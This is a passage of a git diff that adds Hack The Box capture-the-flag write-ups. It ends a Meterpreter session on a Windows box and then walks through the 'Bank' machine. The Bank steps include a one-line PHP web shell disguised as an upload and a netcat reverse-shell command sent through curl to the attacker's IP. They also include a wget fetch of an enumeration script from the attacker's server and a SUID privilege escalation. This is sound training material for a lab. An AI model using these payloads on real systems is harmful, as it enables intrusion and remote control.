Process 3108 created. + Channel 1 created. + Microsoft Windows [Version 5.2.3790] + (C) Copyright 1985-2003 Microsoft Corp. + + C:\WINDOWS\system32>meterpreter > + meterpreter > shell + Process 3140 created. + Channel 2 created. + Microsoft Windows [Version 5.2.3790] + (C) Copyright 1985-2003 Microsoft Corp. + + C:\WINDOWS\system32>cd c:\ + cd c:\ + + C:\>dir + dir + Volume in drive C has no label. + Volume Serial Number is 246C-D7FE + + Directory of C:\ + + 04/12/2017 04:27 PM <****DIR> ADFS + 04/12/2017 04:04 PM 0 AUTOEXEC.BAT + 04/12/2017 04:04 PM 0 CONFIG.SYS + 04/12/2017 09:19 PM <****DIR> Documents and Settings + 04/12/2017 04:17 PM <****DIR> FPSE_search + 04/12/2017 04:17 PM <****DIR> Inetpub + 12/24/2017 07:21 PM <****DIR> Program Files + 12/24/2017 07:30 PM <****DIR> WINDOWS + 04/12/2017 04:05 PM <****DIR> wmpub + 2 File(s) 0 bytes + 7 Dir(s) 18,090,029,056 bytes free + + C:\>cd Documents and Settings + cdcd Documents and Settings + + C:\Documents and Settingcd Administrator + cd Administrator + + C:\Documents and Settings\Administrator>dir + dir + Volume in drive C has no label. + Volume Serial Number is 246C-D7FE + + Directory of C:\Documents and Settings\Administrator + + 04/12/2017 08:48 PM <****DIR> . + 04/12/2017 08:48 PM <****DIR> .. + 04/12/2017 04:28 PM <****DIR> Desktop + 04/12/2017 04:12 PM <****DIR> Favorites + 04/12/2017 04:12 PM <****DIR> My Documents + 04/12/2017 03:42 PM <****DIR> Start Menu + 04/12/2017 03:44 PM 0 Sti_Trace.log + 1 File(s) 0 bytes + 6 Dir(s) 18,090,029,056 bytes free + + C:\Documents and Settings\Administrator>cd Desktop + cd Desktop + + C:\Documents and Settings\Administrator\Desktop>dir + dir + Volume in drive C has no label. + Volume Serial Number is 246C-D7FE + + Directory of C:\Documents and Settings\Administrator\Desktop + + 04/12/2017 04:28 PM <****DIR> . + 04/12/2017 04:28 PM <****DIR> .. + 04/12/2017 09:17 PM 32 root.txt + 1 File(s) 32 bytes + 2 Dir(s) 18,090,029,056 bytes free + + C:\Documents and Settings\Administrator\Desktop>type root.txt + type root.txt + aaXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + C:\WINDOWS\system32>cd C:\Documents and Settings\Lakis\Desktop + cd C:\Documents and Settings\Lakis\Desktop + + C:\Documents and Settings\Lakis\Desktop>type user.txt + type user.txt + + 70XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + +And that's it ! we have been able to root the box, getting both the user and the root flag in one go. :) + +## **Conclusion** + +Here we can see the progress graph : + +![](img/8_graph.png) + diff --git a/Easy/9.md b/Easy/9.md new file mode 100644 index 0000000..6484073 --- /dev/null +++ b/Easy/9.md @@ -0,0 +1,256 @@ +# Bank Writeup + +![](img/9.png) + +## Introduction : + +Bank is an easy Linux box that was released back in June 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [~] → nmap -sC -sV 10.10.10.29 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-14 06:55 CET + Nmap scan report for bank.htb (10.10.10.29) + Host is up (0.065s latency). + Not shown: 997 closed ports + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA) + | 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA) + | 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA) + |_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519) + 53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux) + | dns-nsid: + |_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu + 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) + |_http-server-header: Apache/2.4.7 (Ubuntu) + | http-title: HTB Bank - Login + |_Requested resource was login.php + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 18.18 seconds + + +## **Part 2 : Getting User Access** + +First of all we will browse to the Apparent apache 2.4.7 from within our web browser to see if we can find a little more details. + +![](prg/9_001.png) + +There is something strange here, our nmap scans told us that we would meet a login.php page The problem is simply that HTB doesn't do DNS so we will need to add 10.10.10.29 to our /etc/hosts file. with the alias **bank.htb** + + + λ root [ 10.10.14.48/23 ] [/home/nihilist] → nano /etc/hosts + + λ root [ 10.10.14.48/23 ] [/home/nihilist] → cat /etc/hosts + 10.10.10.29 bank.htb + 10.10.10.76 sunday.htb + 127.0.0.1 localhost + 127.0.1.1 prometheus + ::1 localhost ip6-localhost ip6-loopback + ff02::1 ip6-allnodes + ff02::2 ip6-allrouters + + +Once we browse to the new alias bank.htb , we see that it finally redirects us to the login page **login.php** that our nmap scan picked up. + +![](prg/9_002.png) + +To find out which diretories are available for this http service, we run a dirbusting command such as **gobuster** + + + λ root [ 10.10.14.48/23 ] [/home/nihilist] → gobuster -u http://bank.htb/ -w /usr/share/wordlist + + +Give it some time to run, and looking at the results, we see that the process found the **/balance-transfer/** directory gobuster also found the /uploads/ directory but for now we won't use it, it will be of use later on. We can browse to it from within our web browser, but for this example we will use the lynx command. + + + λ root [ 10.10.14.48/23 ] [/home/nihilist] → lynx http://bank.htb/balance-transfer/ + + +![](prg/9_003.png) + +Here we can see that the page is giving us a bunch of encrypted files that have the exact size of 583 or 584. If we scroll down a bit we will end up seeing that there is one specific file that does not match this 583 size. + +![](prg/9_004.png) + +Within lynx we just need to press Enter once the correct hyperlink is selected, and it takes us to an unencrypted account file for the user chris. Revealing his strong password. + +![](prg/9_005.png) + +We now have credentials to work with : **chris@bank.htb : !##HTBB4nkP4ssw0rd!##** We will try them onto the login page that our nmap scan picked up before. + +![](prg/9_006.png) + +And we are logged in ! we have access to the user christos Christopoulos, the credentials worked on login.php. For our next step we navigate to the php support page that allows us to choose files to submit tickets. We will upload a malicious php file to which we will make sure that the extension ending it is not .php but something else. here we will name it **nihilist.php.htb** + +![](prg/9_007.png) + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bank] → nano nihilist.php.htb + + <****?php echo (system($_GET['go'])); ?> + +let's see if we can upload our ticket, therefore uploading our malicious disguised php file. + +![](prg/9_008.png) ![](prg/9_009.png) + +We have been successful in uploading our ticket containing our malicious nihilist.php.htb file. We can browse to it using our web browser, but for this example we will use the curl command. + + + λ nihilist [ 10.10.14.48/23 ] [~] → curl -vsk "http://bank.htb/uploads/nihilist.php.htb?go=id" + * Trying 10.10.10.29:80... + * TCP_NODELAY set + * Connected to bank.htb (10.10.10.29) port 80 (#0) + > GET /uploads/nihilist.php.htb?go=id HTTP/1.1 + > Host: bank.htb + > User-Agent: curl/7.67.0 + > Accept: */* + > + * Mark bundle as not supporting multiuse + < HTTP/1.1 200 OK + < Date: Thu, 14 Nov 2019 08:27:54 GMT + < Server: Apache/2.4.7 (Ubuntu) + < X-Powered-By: PHP/5.5.9-1ubuntu4.21 + < Vary: Accept-Encoding + < Content-Length: 107 + < Content-Type: text/html + < + uid=33(www-data) gid=33(www-data) groups=33(www-data) + * Connection #0 to host bank.htb left intact + uid=33(www-data) gid=33(www-data) groups=33(www-data) + + +we see that the malicious php file we uploaded gave us access to the system, we will now use the malicious php file to send us a reverse shell to our second terminal. + +We will browse to our malicious php file within our terminal using the curl syntax we used before, and tell it to connect back to us on port 6969. One important thing to note though is that we cannot leave the URL as displayed below. + + + http://bank.htb/uploads/nihilist.php.htb?go=nc -e /bin/sh 10.10.14.48 6969 + + +We need to replace the **spaces** with their equivalent **%20** + + + http://bank.htb/uploads/nihilist.php.htb?go=nc**%20** -e**%20** /bin/sh**%20** 10.10.14.48**%20** 6969 + + +Now let's test it with our corrected URL + +_Terminal 1 :_ + + + λ nihilist [ 10.10.14.48/23 ] [~] → nc -lvnp 6969 + + +_Terminal 2 :_ + + + λ nihilist [ 10.10.14.48/23 ] [~] → curl -vsk "http://bank.htb/uploads/nihilist.php.htb?go=nc%20-e%20/bin/sh%2010.10.14.48%206969" + * Trying 10.10.10.29:80... + * TCP_NODELAY set + * Connected to bank.htb (10.10.10.29) port 80 (#0) + > GET /uploads/nihilist.php.htb?go=nc%20-e%20/bin/sh%2010.10.14.48%206969 HTTP/1.1 + > Host: bank.htb + > User-Agent: curl/7.67.0 + > Accept: */* + > + + +_Terminal 1 :_ + + + λ nihilist [ 10.10.14.48/23 ] [~] → nc -lvnp 6969 + Connection from 10.10.10.29:52558 + + uname -a + Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux + + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + + cat /home/chris/user.txt + 37XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +## **Part 3 : Getting Root Access** + +Now that we have user access, we need to escalate privileges on this box. For that matter we will first upload linenum.sh on the box using python3's http server module. + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.48/23 ] [~] → cd _HTB/Bank + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bank] → ls + 68576f20e9732f1b2edc4df5b8533230.acc + nihilist.php.htb + linenum.sh + node_modules + package-lock.json + progress.graphml + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bank] → python3 -m http.server 8000 + Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... + 10.10.10.29 - - [14/Nov/2019 09:55:51] "GET /linenum.sh HTTP/1.1" 200 - + + + + +_Terminal 2:_ + + + which wget + /usr/bin/wget + + wget 10.10.14.48:8000/linenum.sh + ./linenum.sh > output.txt + + python -c 'import pty; pty.spawn("/bin/bash")' + www-data@bank:/var/www/bank/uploads$ id + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + www-data@bank:/var/www/bank/uploads$ + + +Now we have a semi-interactive shell Let's navigate to /var/htb/bin to run the binary called **emergency** + + + www-data@bank:/var/www/bank/uploads$ cd /var/htb/bin + cd /var/htb/bin + + www-data@bank:/var/htb/bin$ ls + ls + emergency + + www-data@bank:/var/htb/bin$ ls -l + ls -l + total 112 + -rwsr-xr-x 1 root root 112204 Jun 14 2017 emergency + + www-data@bank:/var/htb/bin$ ./emergency + ./emergency + + # id + id + uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data) + + # cat /root/root.txt + cat /root/root.txt + d5XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +Executing the aforementioned binary gave us an elevation of privileges, and we have been able to read the root.txt + +## **Conclusion** + +Here we can see the progress graph : + +![](img/9_graph.png) + diff --git a/Easy/img/0.png b/Easy/img/0.png new file mode 100644 index 0000000..b25d934 Binary files /dev/null and b/Easy/img/0.png differ diff --git a/Easy/img/10.png b/Easy/img/10.png new file mode 100644 index 0000000..fda63ed Binary files /dev/null and b/Easy/img/10.png differ diff --git a/Easy/img/10_graph.png b/Easy/img/10_graph.png new file mode 100644 index 0000000..87476c2 Binary files /dev/null and b/Easy/img/10_graph.png differ diff --git a/Easy/img/11.png b/Easy/img/11.png new file mode 100644 index 0000000..daa48e9 Binary files /dev/null and b/Easy/img/11.png differ diff --git a/Easy/img/11_graph.png b/Easy/img/11_graph.png new file mode 100644 index 0000000..9e4e0f2 Binary files /dev/null and b/Easy/img/11_graph.png differ diff --git a/Easy/img/12.png b/Easy/img/12.png new file mode 100644 index 0000000..5c57332 Binary files /dev/null and b/Easy/img/12.png differ diff --git a/Easy/img/12_graph.png b/Easy/img/12_graph.png new file mode 100644 index 0000000..12f8260 Binary files /dev/null and b/Easy/img/12_graph.png differ diff --git a/Easy/img/13.png b/Easy/img/13.png new file mode 100644 index 0000000..8ba8754 Binary files /dev/null and b/Easy/img/13.png differ diff --git a/Easy/img/13_graph.png b/Easy/img/13_graph.png new file mode 100644 index 0000000..0eab972 Binary files /dev/null and b/Easy/img/13_graph.png differ diff --git a/Easy/img/14.png b/Easy/img/14.png new file mode 100644 index 0000000..9b14d29 Binary files /dev/null and b/Easy/img/14.png differ diff --git a/Easy/img/14_graph.png b/Easy/img/14_graph.png new file mode 100644 index 0000000..02e20f0 Binary files /dev/null and b/Easy/img/14_graph.png differ diff --git a/Easy/img/15.png b/Easy/img/15.png new file mode 100644 index 0000000..231146b Binary files /dev/null and b/Easy/img/15.png differ diff --git a/Easy/img/15_graph.png b/Easy/img/15_graph.png new file mode 100644 index 0000000..64c7869 Binary files /dev/null and b/Easy/img/15_graph.png differ diff --git a/Easy/img/16.png b/Easy/img/16.png new file mode 100644 index 0000000..5ac3e07 Binary files /dev/null and b/Easy/img/16.png differ diff --git a/Easy/img/16_graph.png b/Easy/img/16_graph.png new file mode 100644 index 0000000..77ae6c7 Binary files /dev/null and b/Easy/img/16_graph.png differ diff --git a/Easy/img/17.png b/Easy/img/17.png new file mode 100644 index 0000000..4b9df76 Binary files /dev/null and b/Easy/img/17.png differ diff --git a/Easy/img/17_graph.png b/Easy/img/17_graph.png new file mode 100644 index 0000000..9ff5e57 Binary files /dev/null and b/Easy/img/17_graph.png differ diff --git a/Easy/img/18.png b/Easy/img/18.png new file mode 100644 index 0000000..6febb7f Binary files /dev/null and b/Easy/img/18.png differ diff --git a/Easy/img/18_graph.png b/Easy/img/18_graph.png new file mode 100644 index 0000000..e9d41bd Binary files /dev/null and b/Easy/img/18_graph.png differ diff --git a/Easy/img/19.png b/Easy/img/19.png new file mode 100644 index 0000000..3c28cd4 Binary files /dev/null and b/Easy/img/19.png differ diff --git a/Easy/img/19_graph.png b/Easy/img/19_graph.png new file mode 100644 index 0000000..b07e6cc Binary files /dev/null and b/Easy/img/19_graph.png differ diff --git a/Easy/img/1_graph.png b/Easy/img/1_graph.png new file mode 100644 index 0000000..e95c774 Binary files /dev/null and b/Easy/img/1_graph.png differ diff --git a/Easy/img/2.png b/Easy/img/2.png new file mode 100644 index 0000000..2561396 Binary files /dev/null and b/Easy/img/2.png differ diff --git a/Easy/img/20.png b/Easy/img/20.png new file mode 100644 index 0000000..43c1ada Binary files /dev/null and b/Easy/img/20.png differ diff --git a/Easy/img/20_graph.png b/Easy/img/20_graph.png new file mode 100644 index 0000000..6e6f511 Binary files /dev/null and b/Easy/img/20_graph.png differ diff --git a/Easy/img/21.png b/Easy/img/21.png new file mode 100644 index 0000000..5f13b0c Binary files /dev/null and b/Easy/img/21.png differ diff --git a/Easy/img/21_graph.png b/Easy/img/21_graph.png new file mode 100644 index 0000000..46c11fb Binary files /dev/null and b/Easy/img/21_graph.png differ diff --git a/Easy/img/22.png b/Easy/img/22.png new file mode 100644 index 0000000..2434dde Binary files /dev/null and b/Easy/img/22.png differ diff --git a/Easy/img/22_graph.png b/Easy/img/22_graph.png new file mode 100644 index 0000000..ad5723a Binary files /dev/null and b/Easy/img/22_graph.png differ diff --git a/Easy/img/23.png b/Easy/img/23.png new file mode 100644 index 0000000..f4f5f0f Binary files /dev/null and b/Easy/img/23.png differ diff --git a/Easy/img/23_graph.png b/Easy/img/23_graph.png new file mode 100644 index 0000000..d734929 Binary files /dev/null and b/Easy/img/23_graph.png differ diff --git a/Easy/img/24.png b/Easy/img/24.png new file mode 100644 index 0000000..14cd97b Binary files /dev/null and b/Easy/img/24.png differ diff --git a/Easy/img/24_graph.png b/Easy/img/24_graph.png new file mode 100644 index 0000000..887ea9d Binary files /dev/null and b/Easy/img/24_graph.png differ diff --git a/Easy/img/25.png b/Easy/img/25.png new file mode 100644 index 0000000..3b6f21c Binary files /dev/null and b/Easy/img/25.png differ diff --git a/Easy/img/25_graph.png b/Easy/img/25_graph.png new file mode 100644 index 0000000..0719ced Binary files /dev/null and b/Easy/img/25_graph.png differ diff --git a/Easy/img/26.png b/Easy/img/26.png new file mode 100644 index 0000000..c2e7fce Binary files /dev/null and b/Easy/img/26.png differ diff --git a/Easy/img/26_graph.png b/Easy/img/26_graph.png new file mode 100644 index 0000000..e9af1e0 Binary files /dev/null and b/Easy/img/26_graph.png differ diff --git a/Easy/img/27.png b/Easy/img/27.png new file mode 100644 index 0000000..b68dc34 Binary files /dev/null and b/Easy/img/27.png differ diff --git a/Easy/img/27_graph.png b/Easy/img/27_graph.png new file mode 100644 index 0000000..ad7c18b Binary files /dev/null and b/Easy/img/27_graph.png differ diff --git a/Easy/img/28.png b/Easy/img/28.png new file mode 100644 index 0000000..e317357 Binary files /dev/null and b/Easy/img/28.png differ diff --git a/Easy/img/28_graph.png b/Easy/img/28_graph.png new file mode 100644 index 0000000..c35a4ea Binary files /dev/null and b/Easy/img/28_graph.png differ diff --git a/Easy/img/29.png b/Easy/img/29.png new file mode 100644 index 0000000..1c7a807 Binary files /dev/null and b/Easy/img/29.png differ diff --git a/Easy/img/29_graph.png b/Easy/img/29_graph.png new file mode 100644 index 0000000..2bc211e Binary files /dev/null and b/Easy/img/29_graph.png differ diff --git a/Easy/img/2_graph.png b/Easy/img/2_graph.png new file mode 100644 index 0000000..c0fa1c2 Binary files /dev/null and b/Easy/img/2_graph.png differ diff --git a/Easy/img/3.png b/Easy/img/3.png new file mode 100644 index 0000000..c0e994b Binary files /dev/null and b/Easy/img/3.png differ diff --git a/Easy/img/30.png b/Easy/img/30.png new file mode 100644 index 0000000..b18bb9b Binary files /dev/null and b/Easy/img/30.png differ diff --git a/Easy/img/30_graph.png b/Easy/img/30_graph.png new file mode 100644 index 0000000..2136d77 Binary files /dev/null and b/Easy/img/30_graph.png differ diff --git a/Easy/img/31.png b/Easy/img/31.png new file mode 100644 index 0000000..0fc9a7f Binary files /dev/null and b/Easy/img/31.png differ diff --git a/Easy/img/31_graph.png b/Easy/img/31_graph.png new file mode 100644 index 0000000..f359007 Binary files /dev/null and b/Easy/img/31_graph.png differ diff --git a/Easy/img/32.png b/Easy/img/32.png new file mode 100644 index 0000000..578c81c Binary files /dev/null and b/Easy/img/32.png differ diff --git a/Easy/img/32_graph.png b/Easy/img/32_graph.png new file mode 100644 index 0000000..4e5c137 Binary files /dev/null and b/Easy/img/32_graph.png differ diff --git a/Easy/img/33.png b/Easy/img/33.png new file mode 100644 index 0000000..62aaa56 Binary files /dev/null and b/Easy/img/33.png differ diff --git a/Easy/img/33_graph.png b/Easy/img/33_graph.png new file mode 100644 index 0000000..7bcedd4 Binary files /dev/null and b/Easy/img/33_graph.png differ diff --git a/Easy/img/34.png b/Easy/img/34.png new file mode 100644 index 0000000..f5286cb Binary files /dev/null and b/Easy/img/34.png differ diff --git a/Easy/img/34_graph.png b/Easy/img/34_graph.png new file mode 100644 index 0000000..a6b3820 Binary files /dev/null and b/Easy/img/34_graph.png differ diff --git a/Easy/img/35.png b/Easy/img/35.png new file mode 100644 index 0000000..44e0a1e Binary files /dev/null and b/Easy/img/35.png differ diff --git a/Easy/img/35_graph.png b/Easy/img/35_graph.png new file mode 100644 index 0000000..da302fd Binary files /dev/null and b/Easy/img/35_graph.png differ diff --git a/Easy/img/36.png b/Easy/img/36.png new file mode 100644 index 0000000..26fd8a1 Binary files /dev/null and b/Easy/img/36.png differ diff --git a/Easy/img/36_graph.png b/Easy/img/36_graph.png new file mode 100644 index 0000000..b8effa7 Binary files /dev/null and b/Easy/img/36_graph.png differ diff --git a/Easy/img/37.png b/Easy/img/37.png new file mode 100644 index 0000000..f2227da Binary files /dev/null and b/Easy/img/37.png differ diff --git a/Easy/img/37_graph.png b/Easy/img/37_graph.png new file mode 100644 index 0000000..fcefc11 Binary files /dev/null and b/Easy/img/37_graph.png differ diff --git a/Easy/img/38.png b/Easy/img/38.png new file mode 100644 index 0000000..824c02b Binary files /dev/null and b/Easy/img/38.png differ diff --git a/Easy/img/38_graph.png b/Easy/img/38_graph.png new file mode 100644 index 0000000..f359b6a Binary files /dev/null and b/Easy/img/38_graph.png differ diff --git a/Easy/img/39.png b/Easy/img/39.png new file mode 100644 index 0000000..d9709c4 Binary files /dev/null and b/Easy/img/39.png differ diff --git a/Easy/img/39_graph.png b/Easy/img/39_graph.png new file mode 100644 index 0000000..dc3bd30 Binary files /dev/null and b/Easy/img/39_graph.png differ diff --git a/Easy/img/3_graph.png b/Easy/img/3_graph.png new file mode 100644 index 0000000..c2538a2 Binary files /dev/null and b/Easy/img/3_graph.png differ diff --git a/Easy/img/4.png b/Easy/img/4.png new file mode 100644 index 0000000..5872eaa Binary files /dev/null and b/Easy/img/4.png differ diff --git a/Easy/img/40.png b/Easy/img/40.png new file mode 100644 index 0000000..c0654ed Binary files /dev/null and b/Easy/img/40.png differ diff --git a/Easy/img/40_graph.png b/Easy/img/40_graph.png new file mode 100644 index 0000000..4c2883c Binary files /dev/null and b/Easy/img/40_graph.png differ diff --git a/Easy/img/41.png b/Easy/img/41.png new file mode 100644 index 0000000..1befcb0 Binary files /dev/null and b/Easy/img/41.png differ diff --git a/Easy/img/41_graph.png b/Easy/img/41_graph.png new file mode 100644 index 0000000..c5864e3 Binary files /dev/null and b/Easy/img/41_graph.png differ diff --git a/Easy/img/42.png b/Easy/img/42.png new file mode 100644 index 0000000..e40b8c6 Binary files /dev/null and b/Easy/img/42.png differ diff --git a/Easy/img/42_graph.png b/Easy/img/42_graph.png new file mode 100644 index 0000000..dea2adf Binary files /dev/null and b/Easy/img/42_graph.png differ diff --git a/Easy/img/43.png b/Easy/img/43.png new file mode 100644 index 0000000..add99b8 Binary files /dev/null and b/Easy/img/43.png differ diff --git a/Easy/img/43_graph.png b/Easy/img/43_graph.png new file mode 100644 index 0000000..1b9fc53 Binary files /dev/null and b/Easy/img/43_graph.png differ diff --git a/Easy/img/44.png b/Easy/img/44.png new file mode 100644 index 0000000..6694554 Binary files /dev/null and b/Easy/img/44.png differ diff --git a/Easy/img/44_graph.png b/Easy/img/44_graph.png new file mode 100644 index 0000000..5f58140 Binary files /dev/null and b/Easy/img/44_graph.png differ diff --git a/Easy/img/45.png b/Easy/img/45.png new file mode 100644 index 0000000..847a36c Binary files /dev/null and b/Easy/img/45.png differ diff --git a/Easy/img/45_graph.png b/Easy/img/45_graph.png new file mode 100644 index 0000000..08c3fef Binary files /dev/null and b/Easy/img/45_graph.png differ diff --git a/Easy/img/46.png b/Easy/img/46.png new file mode 100644 index 0000000..6d41bcf Binary files /dev/null and b/Easy/img/46.png differ diff --git a/Easy/img/46_graph.png b/Easy/img/46_graph.png new file mode 100644 index 0000000..d9c056e Binary files /dev/null and b/Easy/img/46_graph.png differ diff --git a/Easy/img/47.png b/Easy/img/47.png new file mode 100644 index 0000000..b30a033 Binary files /dev/null and b/Easy/img/47.png differ diff --git a/Easy/img/47_graph.png b/Easy/img/47_graph.png new file mode 100644 index 0000000..c429b7f Binary files /dev/null and b/Easy/img/47_graph.png differ diff --git a/Easy/img/48.png b/Easy/img/48.png new file mode 100644 index 0000000..1b83e0e Binary files /dev/null and b/Easy/img/48.png differ diff --git a/Easy/img/48_graph.png b/Easy/img/48_graph.png new file mode 100644 index 0000000..635ada7 Binary files /dev/null and b/Easy/img/48_graph.png differ diff --git a/Easy/img/49.png b/Easy/img/49.png new file mode 100644 index 0000000..b7a38fe Binary files /dev/null and b/Easy/img/49.png differ diff --git a/Easy/img/49_graph.png b/Easy/img/49_graph.png new file mode 100644 index 0000000..d347eb7 Binary files /dev/null and b/Easy/img/49_graph.png differ diff --git a/Easy/img/4_graph.png b/Easy/img/4_graph.png new file mode 100644 index 0000000..07e52e9 Binary files /dev/null and b/Easy/img/4_graph.png differ diff --git a/Easy/img/5.png b/Easy/img/5.png new file mode 100644 index 0000000..ec00e28 Binary files /dev/null and b/Easy/img/5.png differ diff --git a/Easy/img/50.png b/Easy/img/50.png new file mode 100644 index 0000000..7841b46 Binary files /dev/null and b/Easy/img/50.png differ diff --git a/Easy/img/50_graph.png b/Easy/img/50_graph.png new file mode 100644 index 0000000..b1df24f Binary files /dev/null and b/Easy/img/50_graph.png differ diff --git a/Easy/img/51.png b/Easy/img/51.png new file mode 100644 index 0000000..e5f9dc8 Binary files /dev/null and b/Easy/img/51.png differ diff --git a/Easy/img/51_graph.png b/Easy/img/51_graph.png new file mode 100644 index 0000000..852c8e4 Binary files /dev/null and b/Easy/img/51_graph.png differ diff --git a/Easy/img/52.png b/Easy/img/52.png new file mode 100644 index 0000000..d61aaf3 Binary files /dev/null and b/Easy/img/52.png differ diff --git a/Easy/img/52_graph.png b/Easy/img/52_graph.png new file mode 100644 index 0000000..06fc036 Binary files /dev/null and b/Easy/img/52_graph.png differ diff --git a/Easy/img/53.png b/Easy/img/53.png new file mode 100644 index 0000000..60783eb Binary files /dev/null and b/Easy/img/53.png differ diff --git a/Easy/img/53_graph.png b/Easy/img/53_graph.png new file mode 100644 index 0000000..9714ae8 Binary files /dev/null and b/Easy/img/53_graph.png differ diff --git a/Easy/img/54.png b/Easy/img/54.png new file mode 100644 index 0000000..2807752 Binary files /dev/null and b/Easy/img/54.png differ diff --git a/Easy/img/54_graph.png b/Easy/img/54_graph.png new file mode 100644 index 0000000..190e3dd Binary files /dev/null and b/Easy/img/54_graph.png differ diff --git a/Easy/img/55.png b/Easy/img/55.png new file mode 100644 index 0000000..30879df Binary files /dev/null and b/Easy/img/55.png differ diff --git a/Easy/img/55_graph.png b/Easy/img/55_graph.png new file mode 100644 index 0000000..a166bea Binary files /dev/null and b/Easy/img/55_graph.png differ diff --git a/Easy/img/56.png b/Easy/img/56.png new file mode 100644 index 0000000..96106d8 Binary files /dev/null and b/Easy/img/56.png differ diff --git a/Easy/img/56_graph.png b/Easy/img/56_graph.png new file mode 100644 index 0000000..b1dc4b6 Binary files /dev/null and b/Easy/img/56_graph.png differ diff --git a/Easy/img/57.png b/Easy/img/57.png new file mode 100644 index 0000000..3163655 Binary files /dev/null and b/Easy/img/57.png differ diff --git a/Easy/img/57_graph.png b/Easy/img/57_graph.png new file mode 100644 index 0000000..c58e26e Binary files /dev/null and b/Easy/img/57_graph.png differ diff --git a/Easy/img/58.png b/Easy/img/58.png new file mode 100644 index 0000000..fd25d27 Binary files /dev/null and b/Easy/img/58.png differ diff --git a/Easy/img/58_graph.png b/Easy/img/58_graph.png new file mode 100644 index 0000000..a77f52c Binary files /dev/null and b/Easy/img/58_graph.png differ diff --git a/Easy/img/59.png b/Easy/img/59.png new file mode 100644 index 0000000..3cc9d9f Binary files /dev/null and b/Easy/img/59.png differ diff --git a/Easy/img/59_graph.png b/Easy/img/59_graph.png new file mode 100644 index 0000000..6e19d65 Binary files /dev/null and b/Easy/img/59_graph.png differ diff --git a/Easy/img/5_graph.png b/Easy/img/5_graph.png new file mode 100644 index 0000000..7356e67 Binary files /dev/null and b/Easy/img/5_graph.png differ diff --git a/Easy/img/6.png b/Easy/img/6.png new file mode 100644 index 0000000..f5a5026 Binary files /dev/null and b/Easy/img/6.png differ diff --git a/Easy/img/60.png b/Easy/img/60.png new file mode 100644 index 0000000..136451b Binary files /dev/null and b/Easy/img/60.png differ diff --git a/Easy/img/60_graph.png b/Easy/img/60_graph.png new file mode 100644 index 0000000..82a0215 Binary files /dev/null and b/Easy/img/60_graph.png differ diff --git a/Easy/img/61.png b/Easy/img/61.png new file mode 100644 index 0000000..e8a09d8 Binary files /dev/null and b/Easy/img/61.png differ diff --git a/Easy/img/61_graph.png b/Easy/img/61_graph.png new file mode 100644 index 0000000..90468de Binary files /dev/null and b/Easy/img/61_graph.png differ diff --git a/Easy/img/62.png b/Easy/img/62.png new file mode 100644 index 0000000..112aa05 Binary files /dev/null and b/Easy/img/62.png differ diff --git a/Easy/img/62_graph.png b/Easy/img/62_graph.png new file mode 100644 index 0000000..f3eafbf Binary files /dev/null and b/Easy/img/62_graph.png differ diff --git a/Easy/img/63.png b/Easy/img/63.png new file mode 100644 index 0000000..bb345dd Binary files /dev/null and b/Easy/img/63.png differ diff --git a/Easy/img/63_graph.png b/Easy/img/63_graph.png new file mode 100644 index 0000000..661da02 Binary files /dev/null and b/Easy/img/63_graph.png differ diff --git a/Easy/img/64.png b/Easy/img/64.png new file mode 100644 index 0000000..f081301 Binary files /dev/null and b/Easy/img/64.png differ diff --git a/Easy/img/64_graph.png b/Easy/img/64_graph.png new file mode 100644 index 0000000..daf354f Binary files /dev/null and b/Easy/img/64_graph.png differ diff --git a/Easy/img/65.png b/Easy/img/65.png new file mode 100644 index 0000000..8d12c97 Binary files /dev/null and b/Easy/img/65.png differ diff --git a/Easy/img/65_graph.png b/Easy/img/65_graph.png new file mode 100644 index 0000000..9bc406e Binary files /dev/null and b/Easy/img/65_graph.png differ diff --git a/Easy/img/66.png b/Easy/img/66.png new file mode 100644 index 0000000..2f93342 Binary files /dev/null and b/Easy/img/66.png differ diff --git a/Easy/img/66_graph.png b/Easy/img/66_graph.png new file mode 100644 index 0000000..38168c2 Binary files /dev/null and b/Easy/img/66_graph.png differ diff --git a/Easy/img/67.png b/Easy/img/67.png new file mode 100644 index 0000000..1383e56 Binary files /dev/null and b/Easy/img/67.png differ diff --git a/Easy/img/67_graph.png b/Easy/img/67_graph.png new file mode 100644 index 0000000..186fe9b Binary files /dev/null and b/Easy/img/67_graph.png differ diff --git a/Easy/img/68.png b/Easy/img/68.png new file mode 100644 index 0000000..89c737d Binary files /dev/null and b/Easy/img/68.png differ diff --git a/Easy/img/68_graph.png b/Easy/img/68_graph.png new file mode 100644 index 0000000..71f5c6e Binary files /dev/null and b/Easy/img/68_graph.png differ diff --git a/Easy/img/69.png b/Easy/img/69.png new file mode 100644 index 0000000..69a698b Binary 